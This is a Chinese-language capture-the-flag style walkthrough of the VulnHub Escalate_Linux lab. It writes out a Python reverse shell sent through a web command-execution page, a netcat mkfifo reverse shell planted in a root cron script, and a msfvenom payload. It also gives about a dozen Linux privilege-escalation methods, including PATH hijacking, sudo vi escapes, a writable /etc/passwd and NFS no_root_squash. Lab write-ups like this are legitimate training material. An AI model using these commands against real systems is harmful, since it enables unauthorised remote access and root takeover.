1.环境准备
下载地址:Escalate_Linux: 1 ~ VulnHub
靶机环境:Nat模式
kaliip:192.168.26.128
2.渗透测试
信息收集
主机收集
arp-scan -l
//nmap -sP 192.168.26.0/24
得知靶机ip地址:192.168.26.141
端口探测
nmap -sS -sV -p- 192.168.26.141
发现该主机开放了许多端口:80、111、139、445等端口
漏洞探测
访问该IP地址
打开站点是apache的默认站点
默认页面,尝试对web Directory Search 使用dirb对Web站点进行PHP页面暴破 因为一般web平台默认支持PHP dirb http:/192.168.236.131 -X .php(指定后缀名)
找到shell.php文件目录,一看到文件目录名就是传后门的
访问shell.php文件,页面显示通过 cmd 作为get参数
发现该网站存在命令执行漏洞
漏洞利用
使用msf进行攻击
use exploit/multi/script/web_delivery
此模块支持在本地监听一个端口,别人一旦访问该端口就会将该端口内的文件读取至本地执行(把webshell放在该端口下刚刚好)
设置服务端和本地地址都为攻击机ip,运行如下:
因为服务端会进行url解码,所以先将payload进行url编码,目前在kali上只能使用burpsuite中的url编码:
再将cmd参数传参进去,使得靶机ip访问payload信息
这里直接用python反弹shell
http://192.168.26.141/shell.php?cmd=export%20RHOST=%22192.168.26.128%22;export%20RPORT=2233;python%20-c%20%27import%20sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(%22RHOST%22),int(os.getenv(%22RPORT%22))));[os.dup2(s.fileno(),fd)%20for%20fd%20in%20(0,1,2)];pty.spawn(%22/bin/bash%22)%27
后面开启监听端口2233
成功获取到webshell权限
权限提升
枚举脚本下载,我们只需要在kali机用python开启一个服务器端,用靶机在tmp目录下下载枚举脚本,再执行,我们就可以获取信息
rebootuser/LinEnum: Scripted Local Linux Enumeration & Privilege Escalation Checks (github.com)
suid提权:
1)python实现交互式shell:
python -c 'import pty; pty.spawn("/bin/bash")'
2)首先查找下能否执行SUID特权的命令
find / -perm -u=s -type f 2>/dev/null
看到用户user3下面有个shell命令文件,能够使用SUID
猜测此shell命令的二进制文件里面含有C语言setuid提权代码
3)进入user3目录执行./shell:
全局环境变量提权:
1)使用user5的script脚本也可以进行提权,下面来探究一下如何进行提权操作
2)进入user5目录,执行发现和ls命令一样的结果,这是因为这个脚本是使用root权限执行ls命令,所以这里可以通过全局环境变量提权
3)全局变量提权的参考文章及命令:Linux Privilege Escalation Using PATH Variable - Hacking Articles
cd /tmp
echo "/bin/bash" > ls
chmod +x ls
echo $PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script
计划任务crontab提权:
枚举脚本发现user4下有的Desktop有一个脚本是通过计划任务使用root权限执行,看了下脚本的内容,跟提权没有关系,但是我们要更改这个脚本,目前反弹的shell是user6没有对于权限,具体如下:
所以我们需要进入到user4用户更改脚本来达到目的,这里是不知道user4的密码,可以通过上一个提权方法直接更改其密码
1.借鉴方法2,使用相同的脚本文件,借助Path变量方法更改user4用户的密码为123
cd /tmp
echo 'echo "user4:123" | chpasswd' >ls
chmod +x ls
echo $PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script
su user4
2.使用msfvenom写一段反弹shell:
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.26.128 lport=8888 R
3.在user4桌面文件夹中看到文件autoscript.sh,将反弹shell写入到autoscript脚本中:
echo 'mkfifo /tmp/kndq; nc 192.168.26.128 8888 0</tmp/kndq | /bin/sh >/tmp/kndq 2>&1; rm /tmp/kndq' > autoscript.sh
这里暂未能获得root权限,我操作的问题,大家可以看下面一篇博客
Vulnhub-靶机-ESCALATE_LINUX: 1 - 皇帽讲绿帽带法技巧 - 博客园 (cnblogs.com)
vi写入提权:
1.借鉴方法3,将所有用户8的密码更改为12345,并在用户之间切换来检查更多漏洞,发现user8对vi编辑器具有sudo权限
cd /tmp
echo 'echo "user8:123" | chpasswd' >ls
chmod +x ls
echo $PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script
su user8
2.使用sudo打开vi编辑器,并插入sh命令:
sudo vi
:!sh
<enter>
openssl提权:
1.继续根据枚举的信息,确认user7是gid为0的组成员,使用和方法3相同的办法进入user7,切换至user7,发现user7属于gid为0的组
cd /tmp
echo 'echo "user7:123" | chpasswd' >ls
chmod +x ls
echo $PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script
su user7
2.从LinEnum扫描中知道/etc/passwd文件对于用户是可写的:user7可以编辑/etc/passwd文件。
所以,创建了一个具有root特权的名为ysy的新用户,并使用openssl为该用户生成了密码:
3.将这个密码写入到我新建的ysy用户中:
查看一下,写进了!
4.使用ysy的账号密码登录即可获得超户权限
NFS挂载提权:
1.枚举脚本含有针对NFS的服务
2.通过枚举的信息可知NFS服务配置不当导致直接提权,具体原因如下:
cat /etc/exports
3.发现/home/user5 *(rw,no_root_squash),意思是可以通过用户user5生成一个可提权的可执行文件放在目标靶机执行即可提权
4.挂载nfs到本地kali,生成一个提权文件
showmount -e 192.168.26.142
mount -t nfs 192.168.26.142:/home/user5 /tmp/
3.将user5通过NFS共享到本地,创建一个SUID执行:
cp /bin/sh rootysy
chown root:root rootysy
chmod 4755 rootysy
4.在shell中进入user5:
cd /home/user5
./rootysy
这里暂未获取到root权限
mysql提权:
1.尝试使用默认密码登录mysql:
mysql -u root -p
2.查看数据库,一般思路要从user表中获取密码:
show databases;
use user;
show tables;
select * from user_info;
3.获取mysql的密码为mysql@12345,所以切换至mysql用户
4.经过查找,发现用户1-8的密码:
ls -la
chmod 600 .user_informations
cat .user_informations
5.继续信息收集,在secret.cnf中发现root账号的密码:
cd /etc/mysql
cat secret.cnf
运行超户身份提权:
1.因为上面知道各个用户的密码,看看还有哪个用户没使用其进行提权,看了下user2没有,切换过去看看
2.根据提示执行:
sudo -u user1 bash //以超户身份运行bash
sudo su
uid提权:
1.切换至user4,发现root的组里面有user4和user7,意思是user4和user7可以修改/etc/passwd文件,那么提权的方式跟方法五是一样的,直接添加uid为0的用户即可提权
su user4
cat /etc/group
2.使用openssl生成自定义的密码
shell提权:
1.看到/home/user3下面有.script.sh脚本内容同样是带setuid的权限直接执行提权即可
2.这里直接执行.script.sh是不能提权的,需要借用执行shell才能提权,因为通过strings命令查看shell的二进制文件发现里面是调用.script.sh所以套路跟方法一时候一样的,执行.script.sh脚本即可
echo "/bin/sh" >.script.sh
./shell
john爆破提权:
1.echo查看/etc/shadow文件,读取root的hash,并使用john中自带密码库进行爆破即可
但是查看此文件好像本身需要root权限,其他用户查看权限不够
user提权:
1.直接通过user1的密码查看sudo -l 的特权:
2.执行sudo -i即可提权: